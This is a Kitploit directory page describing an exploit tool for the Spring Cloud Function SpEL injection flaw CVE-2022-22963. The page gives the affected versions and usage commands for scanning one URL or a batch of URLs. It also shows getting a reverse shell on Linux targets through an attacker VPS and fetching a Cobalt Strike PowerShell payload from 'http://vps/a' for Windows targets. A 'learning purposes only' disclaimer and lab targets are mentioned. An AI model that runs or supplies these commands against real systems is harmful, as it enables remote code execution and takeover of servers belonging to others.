Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
spring-cloud-function-rce — Spring Cloud Function SPEL表达式注入漏洞(CVE-2022-22963) | Kitploit
Tools/GitHubGitHub/k3rwin/spring-cloud-function-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubk3rwin/spring-cloud-function-rce

spring-cloud-function-rce

Spring Cloud Function SPEL表达式注入漏洞(CVE-2022-22963)

View Repository
834 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Spring Cloud Function SPEL Expression Injection Vulnerability (CVE-2022-22963)

Spring framework provides a comprehensive programming and configuration model for modern Java-based enterprise applications (on any type of deployment platform).

The serverless framework in Spring Cloud, the RoutingFunction class in Spring Cloud Function, processes the "spring.cloud.function.routing-expression" parameter in the request header as a Spel expression, causing Spel expression injection. Attackers can exploit this vulnerability to execute arbitrary code.

Affected versions: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

This script is for learning purposes only. Any legal liability arising from other uses is unrelated to the author.

1.installation(Install Modules)

root@kitploit:~
pip3 install -r requirements.txt	

2.Usage

python3 spring-cloud-function-rce.py -h

image-20220414184058525

-u Specify a single url for dnslog testing

-e Specify reverse shell mode

-s Specify the target host operating system, default is linux, parameters are win/linux Used with -i and -c parameters

3.example(Usage Examples)

3.1 Single URL Test

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

image-20220414184202055

3.2 Batch URL Test

python3 spring-cloud-function-rce.py -f "urls.txt"

image-20220414184424640

  • 123.58.236.76:47874 is the vulfocus docker target range. It does not have the nslookup command installed, so the dnslog test fails.
  • The batch url addresses must be the website root directory. Http://192.168.50.222:8080/ is the root directory of the locally built target range. Adding the test directory will cause the poc to fail.

3.3 Linux Target Getshell

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps IP address:5566"

image-20220414185231029

3.4 Windows Target Getshell

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"

-c specifies the address of the powershell online code generated by cs. Must be used with -s "win". The -c option must be executed under windows. The script will call powershell for poc encoding.

image-20220414185711222

image-20220414190020294

4. Target Range

4.1 Build with Idea

Reference Address

4.2 Docker Target Range

vulfocus

image-20220414190509578

Download Tool